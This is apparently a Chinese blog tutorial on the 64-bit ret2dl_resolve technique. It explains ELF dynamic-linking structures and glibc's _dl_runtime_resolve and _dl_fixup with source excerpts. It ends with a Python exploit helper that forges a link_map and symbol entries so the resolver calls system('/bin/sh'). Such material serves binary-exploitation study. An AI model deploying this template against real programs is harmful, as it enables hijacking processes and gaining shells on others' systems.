前言
这几天抽空学了一下ret2dl,发现网上大多都是对32位程序的讲解和利用,这里我从64位角度出发记录一下我对ret2dl的理解。
注:glibc源码版本为glibc-2.23
ret2dl_reslove
ret2dl_reslove巧妙地利用了ELF格式以及动态装载器的弱点,不需要泄露内存信息,就可以直接标识关键函数的位置并调用。
原理
动态链接的elf文件由于采用了延迟绑定技术,在首次调用外部函数时会去解析该函数的真实地址,即调用_dl_runtime_reslove进行地址解析,得到实际地址后会去写got表并执行。ret2dl_reslove就是在这一过程中对相关结构体进行伪造,利用函数_dl_runtime_resolve的内部逻辑使得程序解析出一个恶意函数例如execve/system并执行。
前置知识
ELF文件中动态链接相关段简述
.dynamic
该节存放了许多Elf64_Dyn结构体,保存了动态链接器所需要的基本信息,比如存放了ELF文件其他节的标识和起始地址。
Elf64_Dyn结构体定义:
typedef struct
{
Elf64_Sxword d_tag; //Dynamic entry type(动态段标识号)
union
{
Elf64_Xword d_val; //Integer value
Elf64_Addr d_ptr; //Address value
} d_un; //动态段起始地址
} Elf64_Dyn;
其中关键字d_tag定义如下(不重要):
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used */
#define DT_LOOS 0x6000000d /* Start of OS-specific */
#define DT_HIOS 0x6ffff000 /* End of OS-specific */
#define DT_LOPROC 0x70000000 /* Start of processor-specific */
#define DT_HIPROC 0x7fffffff /* End of processor-specific */
#define DT_PROCNUM DT_MIPS_NUM /* Most used by any processor */
.rel.plt
该节存放了众多Elf64_Rela结构体,是对函数引用的修正,修正的位置在got.plt表,每个libc库函数都有自己的Elf64_Rela结构体。在程序入口附近,位于LOAD段。
Elf64_Rela结构体定义:
typedef struct
{
Elf64_Addr r_offset; //表示重定位所作用的虚拟地址或got表处的真实地址
Elf64_Xword r_info; //这是一个复合值,包括了重定位类型和符号表下标
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
其中我们需要记住r_info是一个复合值,其高32位表示该重定位项在动态链接符号表.dynsym中对应项的下标,低32位表示该重定位项的重定向类型。
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
重定位类型:
/* AMD x86-64 relocations. */
#define R_X86_64_NONE 0 /* No reloc */
#define R_X86_64_64 1 /* Direct 64 bit */
#define R_X86_64_PC32 2 /* PC relative 32 bit signed */
#define R_X86_64_GOT32 3 /* 32 bit GOT entry */
#define R_X86_64_PLT32 4 /* 32 bit PLT address */
#define R_X86_64_COPY 5 /* Copy symbol at runtime */
#define R_X86_64_GLOB_DAT 6 /* Create GOT entry */
#define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */
#define R_X86_64_RELATIVE 8 /* Adjust by program base */
#define R_X86_64_GOTPCREL 9 /* 32 bit signed PC relative
offset to GOT */
#define R_X86_64_32 10 /* Direct 32 bit zero extended */
#define R_X86_64_32S 11 /* Direct 32 bit sign extended */
#define R_X86_64_16 12 /* Direct 16 bit zero extended */
#define R_X86_64_PC16 13 /* 16 bit sign extended pc relative */
#define R_X86_64_8 14 /* Direct 8 bit sign extended */
#define R_X86_64_PC8 15 /* 8 bit sign extended pc relative */
#define R_X86_64_DTPMOD64 16 /* ID of module containing symbol */
#define R_X86_64_DTPOFF64 17 /* Offset in module's TLS block */
#define R_X86_64_TPOFF64 18 /* Offset in initial TLS block */
#define R_X86_64_TLSGD 19 /* 32 bit signed PC relative offset
to two GOT entries for GD symbol */
#define R_X86_64_TLSLD 20 /* 32 bit signed PC relative offset
to two GOT entries for LD symbol */
#define R_X86_64_DTPOFF32 21 /* Offset in TLS block */
#define R_X86_64_GOTTPOFF 22 /* 32 bit signed PC relative offset
to GOT entry for IE symbol */
#define R_X86_64_TPOFF32 23 /* Offset in initial TLS block */
#define R_X86_64_PC64 24 /* PC relative 64 bit */
#define R_X86_64_GOTOFF64 25 /* 64 bit offset to GOT */
#define R_X86_64_GOTPC32 26 /* 32 bit signed pc relative
offset to GOT */
#define R_X86_64_GOT64 27 /* 64-bit GOT entry offset */
#define R_X86_64_GOTPCREL64 28 /* 64-bit PC relative offset
to GOT entry */
#define R_X86_64_GOTPC64 29 /* 64-bit PC relative offset to GOT */
#define R_X86_64_GOTPLT64 30 /* like GOT64, says PLT entry needed */
#define R_X86_64_PLTOFF64 31 /* 64-bit GOT relative offset
to PLT entry */
#define R_X86_64_SIZE32 32 /* Size of symbol plus 32-bit addend */
#define R_X86_64_SIZE64 33 /* Size of symbol plus 64-bit addend */
#define R_X86_64_GOTPC32_TLSDESC 34 /* GOT offset for TLS descriptor. */
#define R_X86_64_TLSDESC_CALL 35 /* Marker for call through TLS
descriptor. */
#define R_X86_64_TLSDESC 36 /* TLS descriptor. */
#define R_X86_64_IRELATIVE 37 /* Adjust indirectly by program base */
#define R_X86_64_RELATIVE64 38 /* 64-bit adjust by program base */
#define R_X86_64_NUM 39
.dynsym
该节存放了很多Elf64_Sym结构体,每个libc函数都会有自己的Elf64_Sym结构体。
Elf64_Sym结构体定义:
typedef struct
{
Elf64_Word st_name; /* 符号名,符号在字符串表STRTAB中的偏移 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性,为0代表函数的相对于共享库的加载地址的偏移未知,不为0代表偏移已知(很重要) */
Elf64_Section st_shndx; /* 节头表索引 */
Elf64_Addr st_value; /* 符号的值,函数相对于共享库的加载地址的偏移 */
Elf64_Xword st_size; /* 符号的大小 */
} Elf64_Sym;
Elf64_Sym内部各个部分的大小(重要):
Elf64_Word st_name; 4字节 Elf64_Word 32 位
unsigned char st_info; 1字节
unsigned char st_other; 1字节
Elf64_Section st_shndx; 2字节 Elf64_Section 16 位
Elf64_Addr st_value; 8字节 Elf64_Addr 64 位
Elf64_Xword st_size; 8字节 Elf64_Xword 64 位
.plt
我们先来看看在ida中其结构:
PLT[0](通用调用解析表项):
不存储任何外部函数的跳转信息,保存got[1](内存放有link_map)的地址和got[2]的地址。
PLT[1],[2],[3]:
分成两个部分:
//part 1
jmp *fun@got
//part 2
push offset
jmp plt[0]
ida内:
.got
got[0]:
第一项指向dynamic段。
got[1]:
link_map地址。
got[2]:
dl_runtime_resolve地址。
got[3]-got[...]:
plt[1]-plt[...]的第二条指令。
总结
这里给个表:
延迟绑定
在学习ret2libc时我们已经对延迟绑定有所了解,这里我以系统调用read函数来对延迟绑定进行一个详细的讲解。
在第一次调用外部引用函数read时,程序先跳转到read的GOT表,
而此时那里并不是read的真实地址,而是read的plt表地址,同时还有一个注意的点是如果你使用当前rip+0x2fe2你会得到一个错误的地址,因为x64下的RIP相对寻址需要跳过当前RIP,也就是其实是下一条指令的地址+0x2fe2。详细看这篇文章REX(Register EXtension) 前缀,所以我们先来看看0x401030这个地方存储的指令长度(jmp指令是0xff25)
可以看到这条指令的长度为6(0xff 0x25 0xe2 0x2f 0x00 0x00),接下来看jmp所跳转的地址
因此程序又跳转到了read@plt,执行了push num(num为read的重定位表项相对于重定位段的偏移) jmp PLT[0],再执行push GOT[1]-->link_map,jmp GOT[2]->_dl_runtime_reslove,
由_dl_runtime_reslove进行符号解析与重定位。
_dl_runtime_resolve
_dl_runtime_resolve是一段汇编代码,在我所用的libc源码中存放于/sysdeps/x86_64/dl-trampoline.h中,代码如下:
.text
.globl _dl_runtime_resolve
.hidden _dl_runtime_resolve
.type _dl_runtime_resolve, @function
.align 16
cfi_startproc
_dl_runtime_resolve:
cfi_adjust_cfa_offset(16) # Incorporate PLT
#if DL_RUNIME_RESOLVE_REALIGN_STACK
# if LOCAL_STORAGE_AREA != 8
# error LOCAL_STORAGE_AREA must be 8
# endif
pushq %rbx # push subtracts stack by 8.
cfi_adjust_cfa_offset(8)
cfi_rel_offset(%rbx, 0)
mov %RSP_LP, %RBX_LP
cfi_def_cfa_register(%rbx)
and $-VEC_SIZE, %RSP_LP
#endif
sub $REGISTER_SAVE_AREA, %RSP_LP
cfi_adjust_cfa_offset(REGISTER_SAVE_AREA)
# Preserve registers otherwise clobbered.
movq %rax, REGISTER_SAVE_RAX(%rsp)
movq %rcx, REGISTER_SAVE_RCX(%rsp)
movq %rdx, REGISTER_SAVE_RDX(%rsp)
movq %rsi, REGISTER_SAVE_RSI(%rsp)
movq %rdi, REGISTER_SAVE_RDI(%rsp)
movq %r8, REGISTER_SAVE_R8(%rsp)
movq %r9, REGISTER_SAVE_R9(%rsp)
VMOV %VEC(0), (REGISTER_SAVE_VEC_OFF)(%rsp)
VMOV %VEC(1), (REGISTER_SAVE_VEC_OFF + VEC_SIZE)(%rsp)
VMOV %VEC(2), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 2)(%rsp)
VMOV %VEC(3), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 3)(%rsp)
VMOV %VEC(4), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 4)(%rsp)
VMOV %VEC(5), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 5)(%rsp)
VMOV %VEC(6), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 6)(%rsp)
VMOV %VEC(7), (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 7)(%rsp)
#ifndef __ILP32__
# We also have to preserve bound registers. These are nops if
# Intel MPX isn't available or disabled.
# ifdef HAVE_MPX_SUPPORT
bndmov %bnd0, REGISTER_SAVE_BND0(%rsp)
bndmov %bnd1, REGISTER_SAVE_BND1(%rsp)
bndmov %bnd2, REGISTER_SAVE_BND2(%rsp)
bndmov %bnd3, REGISTER_SAVE_BND3(%rsp)
# else
# if REGISTER_SAVE_BND0 == 0
.byte 0x66,0x0f,0x1b,0x04,0x24
# else
.byte 0x66,0x0f,0x1b,0x44,0x24,REGISTER_SAVE_BND0
# endif
.byte 0x66,0x0f,0x1b,0x4c,0x24,REGISTER_SAVE_BND1
.byte 0x66,0x0f,0x1b,0x54,0x24,REGISTER_SAVE_BND2
.byte 0x66,0x0f,0x1b,0x5c,0x24,REGISTER_SAVE_BND3
# endif
#endif
# Copy args pushed by PLT in register.
# %rdi: link_map, %rsi: reloc_index
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP
call _dl_fixup # Call resolver.
mov %RAX_LP, %R11_LP # Save return value
#ifndef __ILP32__
# Restore bound registers. These are nops if Intel MPX isn't
# avaiable or disabled.
# ifdef HAVE_MPX_SUPPORT
bndmov REGISTER_SAVE_BND3(%rsp), %bnd3
bndmov REGISTER_SAVE_BND2(%rsp), %bnd2
bndmov REGISTER_SAVE_BND1(%rsp), %bnd1
bndmov REGISTER_SAVE_BND0(%rsp), %bnd0
# else
.byte 0x66,0x0f,0x1a,0x5c,0x24,REGISTER_SAVE_BND3
.byte 0x66,0x0f,0x1a,0x54,0x24,REGISTER_SAVE_BND2
.byte 0x66,0x0f,0x1a,0x4c,0x24,REGISTER_SAVE_BND1
# if REGISTER_SAVE_BND0 == 0
.byte 0x66,0x0f,0x1a,0x04,0x24
# else
.byte 0x66,0x0f,0x1a,0x44,0x24,REGISTER_SAVE_BND0
# endif
# endif
#endif
# Get register content back.
movq REGISTER_SAVE_R9(%rsp), %r9
movq REGISTER_SAVE_R8(%rsp), %r8
movq REGISTER_SAVE_RDI(%rsp), %rdi
movq REGISTER_SAVE_RSI(%rsp), %rsi
movq REGISTER_SAVE_RDX(%rsp), %rdx
movq REGISTER_SAVE_RCX(%rsp), %rcx
movq REGISTER_SAVE_RAX(%rsp), %rax
VMOV (REGISTER_SAVE_VEC_OFF)(%rsp), %VEC(0)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE)(%rsp), %VEC(1)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 2)(%rsp), %VEC(2)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 3)(%rsp), %VEC(3)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 4)(%rsp), %VEC(4)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 5)(%rsp), %VEC(5)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 6)(%rsp), %VEC(6)
VMOV (REGISTER_SAVE_VEC_OFF + VEC_SIZE * 7)(%rsp), %VEC(7)
#if DL_RUNIME_RESOLVE_REALIGN_STACK
mov %RBX_LP, %RSP_LP
cfi_def_cfa_register(%rsp)
movq (%rsp), %rbx
cfi_restore(%rbx)
#endif
# Adjust stack(PLT did 2 pushes)
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP
cfi_adjust_cfa_offset(-(LOCAL_STORAGE_AREA + 16))
# Preserve bound registers.
PRESERVE_BND_REGS_PREFIX
jmp *%r11 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve
源码看的实在是头疼,简述一下_dl_runtime_resolve函数的这段汇编代码的功能,其就是保存寄存器的值到栈中,然后调用_dl_fixup函数执行具体的功能,然后从栈中恢复寄存器。
link_map
直接上代码,只需要记住其中的l_addr,l_info两个定义即可,
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* Pointer to program header table in core. */
ElfW(Addr) l_entry; /* Entry point location. */
ElfW(Half) l_phnum; /* Number of program header entries. */
ElfW(Half) l_ldnum; /* Number of dynamic segment entries. */
/* Array of DT_NEEDED dependencies and their dependencies, in
dependency order for symbol lookup (with and without
duplicates). There is no entry before the dependencies have
been loaded. */
struct r_scope_elem l_searchlist;
/* We need a special searchlist to process objects marked with
DT_SYMBOLIC. */
struct r_scope_elem l_symbolic_searchlist;
/* Dependent object that first caused this object to be loaded. */
struct link_map *l_loader;
/* Array with version names. */
struct r_found_version *l_versions;
unsigned int l_nversions;
/* Symbol hash table. */
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const ElfW(Addr) *l_gnu_bitmask;
union
{
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union
{
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};
unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose. */
enum /* Where this object came from. */
{
lt_executable, /* The main executable program. */
lt_library, /* Library needed by main executable. */
lt_loaded /* Extra run-time loaded shared object. */
} l_type:2;
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
the l_libname list. */
unsigned int l_faked:1; /* Nonzero if this is a faked descriptor
without associated file. */
unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
should be called on this link map
when relocation finishes. */
unsigned int l_auditing:1; /* Nonzero if the DSO is used in auditing. */
unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
is interested in the PLT interception.*/
unsigned int l_removed:1; /* Nozero if the object cannot be used anymore
since it is removed. */
unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
mprotected or if no holes are present at
all. */
unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
during LD_TRACE_PRELINKING=1
contains any DT_SYMBOLIC
libraries. */
unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
freed, ie. not allocated with
the dummy malloc in ld.so. */
/* Collected information about own RPATH directories. */
struct r_search_path_struct l_rpath_dirs;
/* Collected results of relocation while profiling. */
struct reloc_result
{
DL_FIXUP_VALUE_TYPE addr;
struct link_map *bound;
unsigned int boundndx;
uint32_t enterexit;
unsigned int flags;
} *l_reloc_result;
/* Pointer to the version information if available. */
ElfW(Versym) *l_versyms;
/* String specifying the path where this object was found. */
const char *l_origin;
/* Start and finish of memory map for this object. l_map_start
need not be the same as l_addr. */
ElfW(Addr) l_map_start, l_map_end;
/* End of the executable part of the mapping. */
ElfW(Addr) l_text_end;
/* Default array for 'l_scope'. */
struct r_scope_elem *l_scope_mem[4];
/* Size of array allocated for 'l_scope'. */
size_t l_scope_max;
/* This is an array defining the lookup scope for this link map.
There are initially at most three different scope lists. */
struct r_scope_elem **l_scope;
/* A similar array, this time only with the local scope. This is
used occasionally. */
struct r_scope_elem *l_local_scope[2];
/* This information is kept to check for sure whether a shared
object is the same as one already loaded. */
struct r_file_id l_file_id;
/* Collected information about own RUNPATH directories. */
struct r_search_path_struct l_runpath_dirs;
/* List of object in order of the init and fini calls. */
struct link_map **l_initfini;
/* List of the dependencies introduced through symbol binding. */
struct link_map_reldeps
{
unsigned int act;
struct link_map *list[];
} *l_reldeps;
unsigned int l_reldepsmax;
/* Nonzero if the DSO is used. */
unsigned int l_used;
/* Various flag words. */
ElfW(Word) l_feature_1;
ElfW(Word) l_flags_1;
ElfW(Word) l_flags;
/* Temporarily used in `dl_close'. */
int l_idx;
struct link_map_machine l_mach;
struct
{
const ElfW(Sym) *sym;
int type_class;
struct link_map *value;
const ElfW(Sym) *ret;
} l_lookup_cache;
/* Thread-local storage related info. */
/* Start of the initialization image. */
void *l_tls_initimage;
/* Size of the initialization image. */
size_t l_tls_initimage_size;
/* Size of the TLS block. */
size_t l_tls_blocksize;
/* Alignment requirement of the TLS block. */
size_t l_tls_align;
/* Offset of first byte module alignment. */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* For objects present at startup time: offset in the static TLS block. */
ptrdiff_t l_tls_offset;
/* Index of the module in the dtv array. */
size_t l_tls_modid;
/* Number of thread_local objects constructed by this DSO. This is
atomically accessed and modified and is not always protected by the load
lock. See also: CONCURRENCY NOTES in cxa_thread_atexit_impl.c. */
size_t l_tls_dtor_count;
/* Information used to change permission after the relocations are
done. */
ElfW(Addr) l_relro_addr;
size_t l_relro_size;
unsigned long long int l_serial;
/* Audit information. This array apparent must be the last in the
structure. Never add something after it. */
struct auditstate
{
uintptr_t cookie;
unsigned int bindflags;
} l_audit[0];
};
_dl_fixup
_dl_fixup函数存在于/elf/dl-runtime.c内,代码如下:
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc= (const void *) (D_PTR (l, l_info[DT_JMPREL])+reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/*理智检查我们是否真的在考虑 PLT 搬迁。*/
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/*查找目标符号。 如果未使用常规查找规则,就不在全局范围内查找。*/
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/*我们已经完成了广义范围。*/
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/*当前 result 包含定义 sym 的对象的基本加载地址(或链接映射)。现在添加符号偏移量。*/
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/*我们已经找到了这个符号。 模块(因此其负载地址)也是已知的。 */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
/* 现在也许是搬迁补充。 */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/*最后,修复 plt 本身。*/
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
简单概括一下,_dl_fixup函数传入的两个参数一个是rdi寄存器中存储的link_map,一个是rsi寄存器中存储的GOT表中关于PLT重定位的索引值,后面要根据该索引值写入新的地址。
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
顺便提一下,这里的reloc_arg就是后面用的reloc_offset:
以及这里的ELFW的定义和其操作:
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
之后通过宏D_PTR从link_map结构中获得符号表symtab和字符串表strtab,以及reloc
reloc_offset即是传入的参数reloc_arg,其代表在plt表中的第几项,保存在reloc中。
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
reloc的r_offset表示需要修改的函数地址在GOT表中的地址,加上装载地址l_addr得到的rel_addr就是最终要修改的函数的绝对地址。
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);lookup_t result;
接下来的st_other描述符号的可见性,先简介一下 __builtin_expect (long exp, long c)函数:
你期望 exp 表达式的值等于常量 c, 看 c 的值, 如果 c 的值为0(即期望的函数返回值), 那么 执行 if 分支的的可能性小,如果为1,则执行if分支的可能性很大。
也就是说如果st_other==0则直接将装载地址加上st_value即得到函数的最终地址value,将其写入rel_addr即可。
大部分情况下,会进入if语句,首先获得符号的version信息,然后调用_dl_lookup_symbol_x函数从已装载的共享库中查找最终的符号地址,查找到符号sym后,对其进行重定位,即加上装载地址,保存在value中。
最后调用elf_machine_fixup_plt函数进行修正。
总结
到这里,前置知识就基本讲完了,在这里给个总结:
- Dynmic节由Elf64_Dyn结构体构成
- Dynsym节由Elf64_Sym结构体构成
- .rel.plt节由Elf64_Rela结构体构成
-
_dl_runtime_resolve(link_map,reloc_arg)实际上就是执行了_dl_fixup
- 进行动态链接的流程:
1.根据想要连接的函数确定偏移reloc_arg(体现在plt[1]表里面的push)
2.找到.rel.plt里对应的ELF64_Rela表项
3.根据ELF64_Rela里的r_info确定该函数对应.dynsym里的哪一个Elf64_sym项(在64位中 r_info>>32即为表项下标)
4.之后进行一系列检查
再给出一张图:
ret2dl_runtime_resolve
目标:伪造link_map和相关字段值,调用dl_runtime_reslove函数进行解析。
前提条件:1.需要有可写的内存区域
2.需要知道libc版本
这里结合一个函数板子来详细讲解一下我们所做的工作。
板子:
# 传参分别为:伪造的link_map地址、在got表中存在函数地址的got地址、libc中system的地址、第二个参数对应的函数在libc中的地址
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2 ** 64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x00' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
return fake_link_map_data
